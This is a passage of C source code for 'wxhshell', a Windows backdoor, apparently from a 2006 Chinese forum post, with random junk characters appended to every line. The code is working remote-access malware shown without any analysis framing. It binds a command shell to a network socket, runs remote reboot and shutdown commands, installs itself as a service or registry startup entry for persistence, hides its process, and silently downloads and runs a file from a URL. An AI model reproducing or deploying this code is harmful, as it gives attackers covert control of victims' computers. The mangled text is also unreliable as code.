  case '?': { Q (3Na6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .;1tu+S  
    break; >;$C@  
  } .9cQq/{b  
  // 安装 e6 R<V]g  
  case 'i': { nD8 Qeem@  
    if(Install()) [dQL6k";b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . paA0j  
    else m>H+noc^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]~Su  
    break; `Mh 3v@K:  
    } J@Qt(rRxi  
  // 卸载 YKUb'D:t]  
  case 'r': { p>g5WebBN  
    if(Uninstall()) OzVCqq"]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4dEfXrMf  
    else ]tjQy1M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AqdQiZ^9  
    break; @%oHt*u  
    } L[|($vQ"  
  // 显示 wxhshell 所在路径 Ke*tLnO  
  case 'p': { y.xyr"-Q  
    char svExeFile[MAX_PATH]; d;4LHQ0yU  
    strcpy(svExeFile,"\n\r"); SH009@l_8  
      strcat(svExeFile,ExeFile); 2ncD,@ij  
        send(wsh,svExeFile,strlen(svExeFile),0); Z}8khNCYr  
    break; ($h`Y;4  
    } vuNt+  
  // 重启 yGxAur=dE  
  case 'b': { @PaOQ@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V1P]mUs{1  
    if(Boot(REBOOT)) +2KYtyI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tFi'RRZ  
    else { 5~pQ$-  
    closesocket(wsh); @L9C_a  
    ExitThread(0); U '$W$()p  
    } LA837P  
    break; c*k%r2'  
    } FQ3{~05T  
  // 关机 <Lt%[dn  
  case 'd': { $ouw *|<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x$:P;#  
    if(Boot(SHUTDOWN)) I*SrK Zb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #80 [q3  
    else { @U 6jd4?)  
    closesocket(wsh); yMd<<:Ap  
    ExitThread(0); :j)v=qul  
    } ^%qe&Pe2  
    break; |h7 d #V>  
    } &(Yv&j X  
  // 获取shell `hVi!Q]*P  
  case 's': { TI<?h(*R_  
    CmdShell(wsh); Ik\n/EE  
    closesocket(wsh); w YEkWB^  
    ExitThread(0); mnG\qsKNLK  
    break; vOIzfwYG9  
  } tQ@%3`  
  // 退出 gfW_S&&q  
  case 'x': { ^5GyW`a}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~~B`\!n7  
    CloseIt(wsh); ~0 PR>QJ  
    break; ;h-W&i7  
    }  EL$"/ptE  
  // 离开 Z w`9B  
  case 'q': { }3TTtd7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y6Mp[=  
    closesocket(wsh); Fs3rsig  
    WSACleanup(); 4%GwCEnS  
    exit(1); 9*<=K  
    break; j1141md 5  
        } 'Zket=Sm;  
  } :,@\q0j"=  
  } og~Uv"&?T  
] oMtqkiR  
  // 提示信息 mH,L,3R;R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z|k0${iu#  
} qk *b,`;  
  } d$gT,+|vu  
Dga;GYx  
  return; _-R&A@  
} ? koIZ  
h6(\ tRd!\  
// shell模块句柄 i>aIuQ`pe  
int CmdShell(SOCKET sock) y(fJ{k   
{ Ds<~JfVl  
STARTUPINFO si; ?nCo?A  
ZeroMemory(&si,sizeof(si)); r1A<XP|1?I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a`*Dq"9pV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +td]g9Ie  
PROCESS_INFORMATION ProcessInfo; !XqU'xxC  
char cmdline[]="cmd"; _)%Sz"g^Ix  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); np6R\Q!&  
  return 0; ;xQNa}"V  
} 1va~.;/rG  
7@NV|Idtd  
// 自身启动模式 "2=v:\~=  
int StartFromService(void) 8t5o&8v  
{ 8fSY@  
typedef struct C)?tf[!_6  
{ %nV6#pr  
  DWORD ExitStatus; wsEOcaie  
  DWORD PebBaseAddress; {bP )Fon  
  DWORD AffinityMask; nXT/zfS  
  DWORD BasePriority; )jPIBzMys  
  ULONG UniqueProcessId; pdySip<  
  ULONG InheritedFromUniqueProcessId; m|]:oT`M  
}   PROCESS_BASIC_INFORMATION; $V\Dl]a1  
[aF"5G  
PROCNTQSIP NtQueryInformationProcess; WI6h G  
% 4Gt^:J"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qv}TUX4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kn*LwWne  
]RxJ^'a63  
  HANDLE             hProcess; 3]li3B'  
  PROCESS_BASIC_INFORMATION pbi; W QqOXF  
!!+LFe4su  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t\XA JU  
  if(NULL == hInst ) return 0; "8iIOeY-\  
QJF_ "  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,v#O{ma  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cb5T-'hY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^jE8 "G*  
jRN>^Ur;g  
  if (!NtQueryInformationProcess) return 0; }1EtM/Ni{!  
vyvb-oz;u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0WSOA[R%[b  
  if(!hProcess) return 0; GMlJM  
Vtv~jJ{m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KP)t,\@f!  
rtdEIk  
  CloseHandle(hProcess); O>eg_K,c  
jx#9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6>gm!6`  
if(hProcess==NULL) return 0; *M-'R*Np  
AfpC >>=@  
HMODULE hMod; M=54xTh0Y  
char procName[255]; > zfFvx_q  
unsigned long cbNeeded; _H"_&m$aDm  
jbe_r<{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~NTKWRaR  
+y^'\KN  
  CloseHandle(hProcess); Gc_KS'K@$  
XzBlT( `w  
if(strstr(procName,"services")) return 1; // 以服务启动 .cz7jD  
&ZL4/e  
  return 0; // 注册表启动 @D$ogU,#  
} N, ,[V  
6a704l%#hb  
// 主模块 ]sI\.a  
int StartWxhshell(LPSTR lpCmdLine) Z>[n~{-,p  
{ p_i',5H(  
  SOCKET wsl; E.,  
BOOL val=TRUE; +k V$ @qH  
  int port=0; uNca@xl'  
  struct sockaddr_in door; ?CldcxM#  
iD<}r?Z  
  if(wscfg.ws_autoins) Install(); IEe;ygL#  
YIF|8b\  
port=atoi(lpCmdLine); x *a_43`  
oA8A @,-L  
if(port<=0) port=wscfg.ws_port; }l&y8,[:  
N|%X/UjZ2.  
  WSADATA data; ,/"0tP&_;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l{Et:W%|  
y Z)-=H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !+DhH2;)F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b#*"eZj  
  door.sin_family = AF_INET; XePGOw))O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  tYG6Gl  
  door.sin_port = htons(port); hcz!f  
8Y_lQfJa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mnx`e>0  
closesocket(wsl); )2 b-3lz  
return 1; B>[myx  
} X<H{  
@k\,XV`T~t  
  if(listen(wsl,2) == INVALID_SOCKET) { *J{E1])<a  
closesocket(wsl); hxt;sQAo{  
return 1; :m36{#  
} 1k`gr&S  
  Wxhshell(wsl); Tfx-h)oP3  
  WSACleanup(); a*t>Ks'C  
4y!GFhMh  
return 0; ^>^h|$  
-j@IDd7  
} !r9rTS]  
_w2KUvG-8  
// 以NT服务方式启动 R+2~%|{d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N36B*9m&p  
{ +O)ZB$w4  
DWORD   status = 0; P<;Puww/  
  DWORD   specificError = 0xfffffff; WO6+r?0M2  
8"A0@fNz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <sX_hIA^Fx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "rVM23@ tq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m*\LO%s]E  
  serviceStatus.dwWin32ExitCode     = 0; ],vid1E  
  serviceStatus.dwServiceSpecificExitCode = 0; 7%G&=8tq  
  serviceStatus.dwCheckPoint       = 0; phB d+zQc  
  serviceStatus.dwWaitHint       = 0; %cJdVDW`L  
c[$i )\0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W@i|=xS?  
  if (hServiceStatusHandle==0) return; 7K+eI!m.s  
GIfs]zVr`  
status = GetLastError(); l TVz'ys  
  if (status!=NO_ERROR) a54S,}|  
{ [&l+Ve(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qQ1D}c@  
    serviceStatus.dwCheckPoint       = 0; .-[]po  
    serviceStatus.dwWaitHint       = 0; K)}Vr8,V  
    serviceStatus.dwWin32ExitCode     = status; KuEM~Q=  
    serviceStatus.dwServiceSpecificExitCode = specificError; t~.^92]s|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 19RbIG/X  
    return; ;bL?uL  
  } AP8J28I  
>GzH_]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 44KWS~  
  serviceStatus.dwCheckPoint       = 0; c(Fo-4K  
  serviceStatus.dwWaitHint       = 0; <p+7,aE_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mc,p]{<<AV  
} Xn5LrLM&  
Hl*#iUq  
// 处理NT服务事件,比如:启动、停止 ) q/brCq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [4@@b"H  
{ k^K%."INn  
switch(fdwControl) s?fEorG  
{ jS5K:yx<  
case SERVICE_CONTROL_STOP: 2z1r|?l  
  serviceStatus.dwWin32ExitCode = 0; ]BTISaL-R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ju4wU; Nu  
  serviceStatus.dwCheckPoint   = 0; |uX&T`7?-  
  serviceStatus.dwWaitHint     = 0; 75A60Uw  
  { }:1qK67S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @V@<j)3P  
  } 84s:cO  
  return; IxY!.d_s|~  
case SERVICE_CONTROL_PAUSE: = N:5#A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nov An+  
  break; Eh[NKgYL  
case SERVICE_CONTROL_CONTINUE: 2d<`dQY{l3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =,08D^xY  
  break; zOJzQZ~  
case SERVICE_CONTROL_INTERROGATE: ?3i<^@?  
  break; u!b0 <E  
}; N'|9rB2e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /)rv Ndn  
} U]ZI_[\'U  
Ppx4#j  
// 标准应用程序主函数 "tj]mij2)G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hq,N OP  
{ -&QpQ7q1  
Xj:\B] v]  
// 获取操作系统版本 $us7fuKE  
OsIsNt=GetOsVer(); ("=24R=a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9FF  
:;Npk9P(N  
  // 从命令行安装 RVpo,;:  
  if(strpbrk(lpCmdLine,"iI")) Install(); |1T[P)Q  
,ZnL38GW  
  // 下载执行文件 ={{q_G\WD  
if(wscfg.ws_downexe) { 3p'(E\VJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $tK/3  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2}5@: cwR+  
} #O7phjzgD  
2V$YZSw6q  
if(!OsIsNt) { +.X3&|@k  
// 如果时win9x,隐藏进程并且设置为注册表启动 e^hI[LbNC  
HideProc(); <_4'So>  
StartWxhshell(lpCmdLine); B<,AI7  
} YH-W{].  
else X C '|  
  if(StartFromService()) =DI/|^j{ ;  
  // 以服务方式启动 Ul:M=8nE%  
  StartServiceCtrlDispatcher(DispatchTable); x0xQFlGk  
else ,4(m.P10  
  // 普通方式启动 Q*/jQC  
  StartWxhshell(lpCmdLine); MhN 8'y(  
~e+pa|lO  
return 0; m .^WSy  
}
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只看该作者 1 发表于: 2006-10-10
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